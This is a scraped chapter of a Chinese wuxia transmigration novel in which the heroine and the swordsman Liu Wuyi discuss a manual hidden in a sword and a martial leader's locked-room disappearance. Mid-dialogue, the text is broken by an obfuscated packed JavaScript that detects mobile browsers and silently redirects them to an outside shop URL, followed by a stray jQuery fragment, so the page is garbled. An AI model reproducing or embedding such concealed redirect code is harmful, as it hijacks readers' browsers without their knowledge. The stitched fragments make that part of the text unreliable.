“柳大哥,柳大侠,你能不能多说几个字?”
她跟着他进了房间,坐在他的凳子上,讨好的笑。
柳无逸伴着剑一言不发地坐在桌边,目光落在她的脸上。
细眼淡眉,小鼻红唇,一张瓜子脸说丑不丑说美也不美,和司空明月身边的那些女子们比起来差太多。胭脂水粉,金钏银饰统统没有,皮肤倒是白的似雪,披散的长发黑得有些怪异,烛光下微微闪着红光。
被他盯得发毛,她记起兜里的银票,掏出来缴公:“银票还你。”
柳无逸似笑非笑,没有收回,“刚才问我借钱就为了收买他?”
“恩。”
“你怎知道有人会来杀你?”
“恩···因为剧情…需要…”
“剧情?”柳无逸不懂,“曾经也有人这样说过。”
“难道是那个唐家千金?”
“是。”
奶奶的。史飘飘自言自语:果然是二手穿!
“她人呢?”
他知道她关心的是什么:“已经成婚了。”
“嫁给谁了?”
“天盈堂堂主。”
“天盈堂在哪?”
“解散了。堂主夫妇已经退隐江湖,不知去向。”
听到这个消息,史飘飘大为失望,与组织取得联系的希望破灭了。
柳无逸观察她的神色,“你认识唐家千金?”
史飘飘摆手:“想认识一下。”
柳无逸:“唐家千金的脾性倒是和你有些相似。”
史飘飘:“同样的配方,同样的味道。”
又是这样莫名奇妙的话,柳无逸委婉提醒:“史姑娘,天色不早···”
“我不困,你先睡吧。”
柳无逸俊眉微皱:“是怕有人再来杀你?”
史姑娘?不好听。史飘飘嬉皮笑脸:“叫我飘飘吧,我可以叫你柳大哥吗?”
柳无逸面无表情,看不出是生气还是高兴。
“不喜欢?那我就叫你小黑大哥。”
这个更加无法忍受,柳无逸头痛:“飘飘姑娘,有话不妨直言。”
史飘飘连忙点头:“你知道是什么人雇了杀手杀我?”
“旦璜派得罪了很多人,想杀旦璜派掌门的大有人在。”
“刺客说他曾杀了两任杀紫荆宝剑的主人。这把宝剑有什么秘密,为何如此危险?”
“紫荆宝剑是旦璜派掌门信物,你拿着这把宝剑就等于给自己做了标记。更何况,剑里藏着一个秘密。”
“套路。”熟读武侠小说的史飘飘拍桌感叹:“那个秘密是不是关于什么武功秘籍或者绝世宝藏?”
柳无逸:“史姑娘聪慧。”
史飘飘仔细地研究宝剑的构造:“秘籍和宝藏放在哪了?”
柳无逸:“拔掉剑首,就藏在剑柄中。”
“···”史飘飘果然在剑柄中发现了一卷黄色的宣纸,“这武林秘籍藏得也太粗心了吧?”
她迫不及待地展开柔软的宣纸,待看到上面书写的内容时,当即哭笑不得。
这简直是高中生高考时写满了数学方程式的草稿纸!
“这就是你说的武林秘籍?”
她又哭又笑,柳无逸不解:“如何?”
史飘飘:“真没弄错?”
柳无逸从腰间抽出一张羊皮,给她比较:“剑里的是赝品,我这是真品。”
她细细地看了,惊讶道:“内容一模一样?”
柳无逸:“自然是一样的。赝品是纸质,他们拿走不打紧。”
史飘飘:“你可真节俭持家!”
柳无逸别样地瞥她一眼:“你可看懂?”
“这···”史飘飘犹豫了,她若是说看得懂,说不定她会像段誉一般被鸠摩智那样的疯狂的江湖人士抓去翻译秘籍。可实际上,她的数学水平还达不到能够看懂所有的数学难题。
她深思须臾,试探道:“司空小花说你是宝剑守护人,你的剑术不是很厉害吗?为什么会让刺客得手杀了我们两任掌门?”
柳无逸不屑一笑:“剑是剑,人是人,他们没有让我保护的价值。”
原来如此。强烈的求生欲令史飘飘马上抱牢这尊大佛,向他表明自己的存在价值,“这上头写的东西有些熟悉。”
“哦?”
“但我因为得了那个病症,记忆有些混乱,需要时间去回忆研究。”
“研究可以,可别轻易照着练。别忘了你们上一任掌门是怎么死的。”
史飘飘收起宣纸,期盼地望着他:“我可以禅让掌门之位吗?”
“你们旦璜派的事,你最好问司空兄。”
“他未必会告诉我。”
“而且你不是窃玉公子吗?我遇到危难了,你不救我吗?”
“你不是我的朋友。”
“那我可不可以和你做朋友?”
“在下从不和女人做朋友。”
史飘飘瞪眼:“你瞧不起女人?!”
“在下没有。在下只是不喜欢和女人做朋友。”
“为什么?”
“在下和女人只有两种关系。”
她立马想入非非,“哪两种?”
“认识的和不认识的。”
史飘飘晕倒,“算你狠。”
柳无逸善意道:“做朋友,还是和司空兄做比较好。”
“他?”
“司空兄对女人向来和气。”
“他那是花心大萝卜。”
柳无逸颔首笑说:“又是采花贼。”
“我以为你只有和他在一起的时会开玩笑。”
“那是因为他从来不会同我真的生气。”
“我也不会。”
“你不会?我经常看到司空兄身边的姑娘因为他的玩笑而生气。”
“那是她们。”
“你不一样是姑娘?”
史飘飘:“我不是姑娘。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125566|196052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
柳无逸楞。
史飘飘赶紧解释:“我老娘常骂我不像个姑娘,坐没坐姿,站没站相。”
柳无逸漫不经心地瞧着她:“倒是有侠女风范。”
史飘飘脸红:“柳大哥,敢不敢和我打一个赌?”
“赌?”
“就赌我能在采花贼之前,找到此次案件的真相。若是我办到了,我就是你的朋友怎么样?”
这一天的可能性不大。柳无逸安心点头:“可以。”
见他答应,飘飘乐得合不拢嘴,“等着瞧吧。”
窗户那传来响动。
一只银羽雪雕撞开了窗枢,高气昂地跳到桌子上。
琥珀色的眼睛亮若宝石,洁白的羽毛如披月辉。
柳无逸从它的爪上解下密信,看了两眼陷入发呆。
“怎么了?刚刚那个刺客有消息了?”史飘飘问。
“是。”
“和刺客接头的是谁?”
他脸上有几分凝重,“失踪了将近一个月的武林盟主···易难平。”
“你没找他问清楚吗?”
问?那个易盟主是别人易容成的。
和我交手的时候被一个蒙面人救走了。
“那真的武林盟主失踪了?”
“武林盟主?失踪?”
“一个月前易盟主凭白无故的从反锁的房间里消失,他家里的管家请求司空兄暗地里调查···”
“又是一件失踪案?!盟主失踪可是大事,怎么反要暗地调查?”
“盟主留了封信,信上交代他是去处理一件私事,但没有交代什么时候回来。”
“那你们还查什么?”
“查。因为盟主失踪的时候,仆人发现他的卧室里留下了大量血迹。。”
“血迹?什么形状的血迹?”
“喷溅形状。”
“确定是人血?”
“是。”
史飘飘摸摸下巴:“你们确定房间里所有的门窗都是反锁的?”
“除了被第一发现人弄坏的正门外,其他窗户是锁着的。”
“这就有意思了。”史飘飘若有所思,“第一发现人是谁?为什么破坏了正门。”
“正是管家。盟主失踪的当晚,他听到房内有女人凄厉的尖叫声。他觉得奇怪就去敲门,门内无应答,门缝处流出血,他才撞门进去。”
“其他人也听到了尖叫?”
“对。”
史飘飘思忖道:“若是按照寻常套路,管家值得怀疑。”
“司空兄也是如此觉得。”柳无逸笑道,“原本以为易盟主凶多吉少,如今他却突然现身···”
“事情当真蹊跷。”她接口道,“盟主和此次的连环杀人案有没有关系?”
柳无逸不做声。
“会不会他就是凶手?”史飘飘冥思苦想,案情不是一般的复杂···
柳无逸似笑非笑:“这就要等你和司空兄来解答了。”